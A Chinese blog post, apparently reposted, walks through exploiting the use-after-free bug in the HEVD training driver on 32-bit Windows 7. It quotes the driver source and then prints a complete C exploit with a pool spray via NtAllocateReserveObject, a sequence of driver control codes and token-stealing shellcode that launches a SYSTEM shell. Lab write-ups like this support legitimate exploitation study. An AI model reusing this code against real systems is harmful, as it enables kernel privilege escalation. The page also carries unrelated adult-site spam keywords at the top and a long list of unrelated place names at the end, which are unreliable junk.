最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]

2022-07-29 09:41 作者:rkvir逆向工程學(xué)院  | 我要投稿

作者:selph


前言

窺探Ring0漏洞世界:釋放后重用漏洞

這也是個(gè)很有趣的漏洞類(lèi)型,對(duì)象釋放后沒(méi)有清除對(duì)象指針,以至于可能在相同的位置出現(xiàn)假的對(duì)象,而讓程序認(rèn)為對(duì)象沒(méi)有被釋放是可用的狀態(tài),從而執(zhí)行了假的對(duì)象行為。

實(shí)驗(yàn)環(huán)境:

?虛擬機(jī):Windows 7 x86


?物理機(jī):Windows 10 x64


?軟件:IDA,Windbg,VS2022


漏洞分析

本例漏洞需要多個(gè)函數(shù)調(diào)用里,直接上源碼來(lái)看吧

AllocateUaFObjectNonPagedPool:

///


/// Allocate the UaF object in NonPagedPool
///


///?NTSTATUS
NTSTATUS
AllocateUaFObjectNonPagedPool(
VOID
)
{
??? NTSTATUS Status = STATUS_UNSUCCESSFUL;
??? PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;

??? PAGED_CODE();

??? __try
??? {
??????? DbgPrint("[+] Allocating UaF Object\n");

??????? //
??????? // Allocate Pool chunk
??????? //

??????? UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
????? ??????NonPagedPool,
???????????sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
??????????? (ULONG)POOL_TAG
??????? );

??????? if (!UseAfterFree)
??????? {
??????????? //
??????????? // Unable to allocate Pool chunk
??????????? //

??????????? DbgPrint("[-] Unable to allocate Pool chunk\n");

??????????? Status = STATUS_NO_MEMORY;
??????????? return Status;
??????? }
??????? else
??????? {
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
??????????? DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
??????? }

??????? //
??????? // Fill the buffer with ASCII 'A'
??????? //

???????RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

??????? //
??????? // Null terminate the char buffer
??????? //

???????UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

??????? //
??????? // Set the object Callback function
??????? //

??????? UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;

??????? //
??????? // Assign the address of UseAfterFree to a global variable
??????? //

??????? g_UseAfterFreeObjectNonPagedPool = UseAfterFree;

??????? DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
??????? DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
??????? DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }

??? return Status;
}



申請(qǐng)一個(gè)非分頁(yè)池空間,Buffer里填充A,以0結(jié)尾,Callback里填充一個(gè)固定的回調(diào)函數(shù),使用全局指針變量指向該空間


使用的結(jié)構(gòu):


typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
??? CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;




UseUaFObjectNonPagedPool:


///


/// Use the UaF object NonPagedPool
///


///?NTSTATUS
NTSTATUS
UseUaFObjectNonPagedPool(
VOID
)
{
??? NTSTATUS Status = STATUS_UNSUCCESSFUL;

??? PAGED_CODE();

??? __try
??? {
??????? if (g_UseAfterFreeObjectNonPagedPool)
??????? {
??????????? DbgPrint("[+] Using UaF Object\n");
??????????? DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
??????????? DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
??????????? DbgPrint("[+] Calling Callback\n");

??????????? if (g_UseAfterFreeObjectNonPagedPool->Callback)
??????????? {
???????????????g_UseAfterFreeObjectNonPagedPool->Callback();
??????????? }

??????????? Status = STATUS_SUCCESS;
??????? }
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }

??? return Status;
}



判斷全局指針,指向的內(nèi)容是否存在回調(diào),存在就調(diào)用




FreeUaFObjectNonPagedPool:


///


/// Free the UaF object NonPagedPool
///


///?NTSTATUS
NTSTATUS
FreeUaFObjectNonPagedPool(
VOID
)
{
??? NTSTATUS Status = STATUS_UNSUCCESSFUL;

??? PAGED_CODE();

??? __try
??? {
??????? if (g_UseAfterFreeObjectNonPagedPool)
??????? {
??????????? DbgPrint("[+] Freeing UaF Object\n");
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);

#ifdef SECURE
??????????? //
??????????? // Secure Note: This is secure because the developer is setting
??????????? // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
??????????? //

???????????ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

??????????? //
??????????? // Set to NULL to avoid dangling pointer
??????????? //

??????????? g_UseAfterFreeObjectNonPagedPool = NULL;
#else
??????????? //
??????? ????// Vulnerability Note: This is a vanilla Use After Free vulnerability
??????????? // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
??????????? // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
??????????? // (dangling pointer)
??????????? //

???????????ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif

??????????? Status = STATUS_SUCCESS;
??????? }
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
?? ?{
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }

??? return Status;
}



釋放保存到全局指針的這個(gè)空間,這里暴露出UAF漏洞的問(wèn)題所在:釋放完之后指針沒(méi)有置空,還指向那個(gè)釋放的空間,如果能在這里構(gòu)造一個(gè)假的結(jié)構(gòu)在這里,就可以執(zhí)行任意代碼了




AllocateFakeObjectNonPagedPool:


///


/// Allocate the Fake object NonPagedPool
///


///The pointer to FAKE_OBJECT_NON_PAGED_POOL structure
///?NTSTATUS
NTSTATUS
AllocateFakeObjectNonPagedPool(
_In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
)
{
??? NTSTATUS Status = STATUS_SUCCESS;
??? PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;

??? PAGED_CODE();

??? __try
??? {
??????? DbgPrint("[+] Creating Fake Object\n");

??????? //
??????? // Allocate Pool chunk
??????? //

??????? KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
??????????? NonPagedPool,
??????????? sizeof(FAKE_OBJECT_NON_PAGED_POOL),
??????????? (ULONG)POOL_TAG
??????? );

??????? if (!KernelFakeObject)
??????? {
??????????? //
?????? ?????// Unable to allocate Pool chunk
??????????? //

??????????? DbgPrint("[-] Unable to allocate Pool chunk\n");

??????????? Status = STATUS_NO_MEMORY;
??????????? return Status;
??????? }
??????? else
??????? {
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
??????????? DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
??????? }

???????//
??????? // Verify if the buffer resides in user mode
??????? //

??????? ProbeForRead(
??????????? (PVOID)UserFakeObject,
??????????? sizeof(FAKE_OBJECT_NON_PAGED_POOL),
??????????? (ULONG)__alignof(UCHAR)
??????? );

??????? //
??????? // Copy the Fake structure to Pool chunk
??????? //

??????? RtlCopyMemory(
??????????? (PVOID)KernelFakeObject,
??????????? (PVOID)UserFakeObject,
??????????? sizeof(FAKE_OBJECT_NON_PAGED_POOL)
??????? );

??????? //
??????? // Null terminate the char buffer
???? ???//

???????KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

??????? DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }

??? return Status;
}


HEVD為我們提供了申請(qǐng)假對(duì)象的調(diào)用,申請(qǐng)空間,將假對(duì)象從用戶(hù)層填入


漏洞利用

這四個(gè)函數(shù)分別由4個(gè)控制碼進(jìn)行控制:

#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NXIOCTL(0x814) // 0x222053
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX????????????? IOCTL(0x815) // 0x222057
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX???????????? IOCTL(0x816) // 0x22205B
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX??????? IOCTL(0x817) // 0x22205F

這個(gè)漏洞源于釋放空間后,指針沒(méi)有指向NULL,以至于在后續(xù)判斷指針值的時(shí)候,可以偽造假對(duì)象出現(xiàn)在相同位置,從而成功通過(guò)對(duì)該指針的值判斷,轉(zhuǎn)而執(zhí)行shellcode

這里的一個(gè)核心就是,讓假的對(duì)象出現(xiàn)在真的對(duì)象釋放后的內(nèi)存里,可以像之前做池溢出那樣,大量申請(qǐng)相同大小的池空間把相同大小的空閑塊用光,然后申請(qǐng)真對(duì)象釋放,此時(shí)再申請(qǐng)假對(duì)象的時(shí)候,大小合適的只有剛剛釋放的那個(gè)塊

梳理一下要做的事情:

?控制非分頁(yè)池內(nèi)存,確保內(nèi)核對(duì)象保存到指定的位置

?申請(qǐng)UAF對(duì)象

?釋放UAF對(duì)象

?申請(qǐng)假UAF對(duì)象,假的對(duì)象應(yīng)該出現(xiàn)在真的對(duì)象的相同地址

?執(zhí)行UAF回調(diào),執(zhí)行shellcode


根據(jù)參考資料[1]博文中的介紹,這里可以使用IoCompletionReserve對(duì)象來(lái)操控內(nèi)存,因?yàn)樗?x60大小來(lái)填充我們的非分頁(yè)池,更接近我們的UAF對(duì)象的大小。這些對(duì)象可以使用NtAllocateReserveObject函數(shù)來(lái)噴射。


內(nèi)存塊被釋放了以后,會(huì)被裝入Lookaside List里或者Free List里,當(dāng)內(nèi)存塊變成空閑塊被插入的時(shí)候,不管插入哪個(gè)List,內(nèi)存塊的首4字節(jié)都會(huì)被覆蓋成一個(gè)鏈表指針


當(dāng)真正對(duì)象被釋放之后,指向該地址的指針會(huì)指向鏈表結(jié)點(diǎn),通過(guò)申請(qǐng)相同大小的內(nèi)存讓這塊內(nèi)存再次被分配出去,從而使得該地址的首4字節(jié)被控制為shellcode


編寫(xiě)exp:

根據(jù)講內(nèi)核池的那篇論文(參考資料[4]),對(duì)于lookaside和ListHeads的釋放總是放在適當(dāng)?shù)腖ist前面,為了更頻繁的使用CPU緩存,分配總是從適當(dāng)?shù)腖ist前面最近使用的塊進(jìn)行分配;所以理論上,只要能保證進(jìn)行利用的這幾次申請(qǐng)(申請(qǐng)1個(gè)對(duì)象內(nèi)存然后釋放,緊接著申請(qǐng)真對(duì)象,釋放真對(duì)象,申請(qǐng)假對(duì)象)中間沒(méi)有其他相同大小的內(nèi)存申請(qǐng)釋放出現(xiàn),那么布置內(nèi)存只需要申請(qǐng)1個(gè)內(nèi)存的申請(qǐng)釋放即可完成。

#include
#include

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124? // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET??? 0x050? // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET???????? 0x0B4? // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET?????? 0x0B8? // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET?????? 0x0F8? // nt!_EPROCESS.Token
#define SYSTEM_PID???????? 0x004? // SYSTEM Process PID

typedef struct _LSA_UNICODE_STRING {
??? USHORT Length;
??? USHORT MaximumLength;
??? PWSTR?Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
??? ULONG?????????? Length;
??? HANDLE????????? RootDirectory;
??? PUNICODE_STRING ObjectName;
??? ULONG?????????? Attributes;
??? PVOID?????????? SecurityDescriptor;
??? PVOID?????????? SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef NTSTATUS(WINAPI* NtAllocateReserveObject_t)(OUT PHANDLE?????????? hObject,
??? IN POBJECT_ATTRIBUTES ObjectAttributes,
??? IN DWORD????????????? ObjectType);

typedef struct _FAKE_OBJECT {
??? CHAR buffer[0x58];
} FAKE_OBJECT, * PFAKE_OBJECT;

VOID TokenStealingPayloadWin7() {
??? // Importance of Kernel Recovery
??? __asm {
??????? pushad

??????? ;?獲取當(dāng)前進(jìn)程EPROCESS
??????? xor eax, eax
??????? mov eax, fs: [eax + KTHREAD_OFFSET]
??????? mov eax, [eax + EPROCESS_OFFSET]
??????? mov ecx, eax

??????? ;?搜索system進(jìn)程EPROCESS
??????? mov edx, SYSTEM_PID
??????? SearchSystemPID :
??????? mov eax, [eax + FLINK_OFFSET]
?????? ?????sub eax, FLINK_OFFSET
??????????? cmp[eax + PID_OFFSET], edx
??????????? jne SearchSystemPID

??????????? ; token竊取
??????????? mov edx, [eax + TOKEN_OFFSET]
??????????? mov[ecx + TOKEN_OFFSET], edx

??????????? ;?環(huán)境還原+?返回
??????????? popad
???????? ???mov eax, 1
??? }
}

int main()
{
??? ULONG UserBufferSize = sizeof(FAKE_OBJECT);
??? PVOID EopPayload = &TokenStealingPayloadWin7;

??? HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

??? PFAKE_OBJECT UserBuffer = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

??? //?制作假對(duì)象
??? RtlFillMemory(UserBuffer, UserBufferSize, 'A');
??? UserBuffer->buffer[UserBufferSize - 1] = '\0';
??? *(PULONG)UserBuffer = (ULONG)EopPayload;


??? NtAllocateReserveObject_t NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateReserveObject");

??? //?池噴射,消耗其他同等大小的空閑塊
??? HANDLE spray_event1[10000] = { 0 };
??? for (size_t i = 0; i < 10000; i++)
??? {
???????NtAllocateReserveObject(&spray_event1[i], FALSE, 1);??? // IO_COMPLETION_OBJECT 1
??? }

??? //?布置空洞
??? HANDLE holeObj = NULL;
??? NtAllocateReserveObject(&holeObj, FALSE, 1);
??? CloseHandle(holeObj);


??? //?申請(qǐng)真對(duì)象
??? ULONG WriteRet = 0;
??? DeviceIoControl(hDevice, 0x222053, NULL, 0, NULL, 0, &WriteRet, NULL);

??? //?釋放真對(duì)象
??? DeviceIoControl(hDevice, 0x22205B, NULL, 0, NULL, 0, &WriteRet, NULL);

??? //?申請(qǐng)假對(duì)象
??? DeviceIoControl(hDevice, 0x22205F, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

??? //?使用對(duì)象
??? DeviceIoControl(hDevice, 0x222057, NULL, 0, NULL, 0, &WriteRet, NULL);

??? HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
??? UserBuffer = NULL;

??? //?釋放申請(qǐng)的對(duì)象
??? for (size_t i = 0; i < 10000; i++)
??? {
??????? CloseHandle(spray_event1[i]);
??? }

??? system("pause");
??? system("cmd.exe");

??? return 0;
}

截圖演示

參考資料

?[1] Windows Kernel Exploitation Tutorial Part 8: Use After Free - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/04/kernel-use-after-free/

?[2] UAF (Use After Free)漏洞分析及利用_4ct10n的博客-CSDN博客_uaf https://blog.csdn.net/qq_31481187/article/details/73612451

?[3]??https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

?[4] kernelpool-exploitation.pdf (packetstormsecurity.net) https://dl.packetstormsecurity.net/papers/general/kernelpool-exploitation.pdf


漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
日土县| 建瓯市| 伊春市| 镇沅| 洮南市| 怀集县| 元阳县| 城市| 新巴尔虎右旗| 精河县| 平度市| 宜昌市| 湟源县| 达州市| 大姚县| 望奎县| 银川市| 陕西省| 巴里| 南华县| 双牌县| 临汾市| 成都市| 西宁市| 融水| 海安县| 丰宁| 东丽区| 永济市| 伊通| 蒲城县| 塘沽区| 石屏县| 沁阳市| 明光市| 绥芬河市| 兴国县| 偏关县| 三原县| 安阳县| 宁城县|